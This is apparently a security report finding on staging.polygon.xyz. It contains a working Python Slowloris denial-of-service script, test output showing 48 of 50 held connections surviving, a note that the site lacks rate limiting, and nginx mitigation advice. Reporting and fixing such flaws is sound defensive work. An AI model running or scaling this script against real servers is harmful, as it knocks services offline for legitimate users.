import socket, ssl, time, threading

TARGET = ('staging.polygon.xyz', 443)
sockets = []

def slowloris():
    ctx = ssl.create_default_context()
    for _ in range(50):
        s = socket.create_connection(TARGET, timeout=10)
        s = ctx.wrap_socket(s, server_hostname=TARGET[0])
        # Send incomplete HTTP request - 1 header, no final \r\n
        s.send(b"GET / HTTP/1.1\r\nHost: staging.polygon.xyz\r\n")
        sockets.append(s)

slowloris()
print(f"Opened {len(sockets)} connections")

# Keep connections alive with partial headers every 15 seconds
start = time.time()
while time.time() - start < 30:
    alive = 0
    for s in sockets:
        try:
            s.send(b"X-Keep-Alive: 1\r\n")
            alive += 1
```



```
except:
    pass
print(f"t+{int(time.time()-start)}s: {alive}/50 connections alive")
time.sleep(15)
```

Observed output (actual test, staging.polygon.xyz, 2026-03-29):

```
Opened 50 connections
t+0s: 50/50 connections alive
t+15s: 50/50 connections alive
t+30s: 48/50 connections alive # 96% survived 30 seconds
```

nginx default `keepalive_timeout` : 65s. With 50 connections held for 30s, and no connection rate limiting, scaling this to 1,000+ connections would saturate nginx worker slots.

No rate limiting headers observed:

```
GET / HTTP/2
Host: staging.polygon.xyz

HTTP/2 200 OK
(No X-RateLimit-*, no Retry-After, no 429 responses in 35 rapid requests)
```

Impact

An attacker can hold nginx connections open with minimal bandwidth, consuming worker connection slots. At scale (1,000+ connections), this can cause a partial or full denial of service, preventing legitimate users from connecting. No rate limiting or DDoS mitigation is in place.

Recommendations

- Set aggressive connection timeouts in nginx.
- Enable `limit_conn` module.
- Deploy AWS WAF or Cloudflare: both offer Slowloris protection.
- Set `worker_connections` high enough, but combined with proper rate limiting.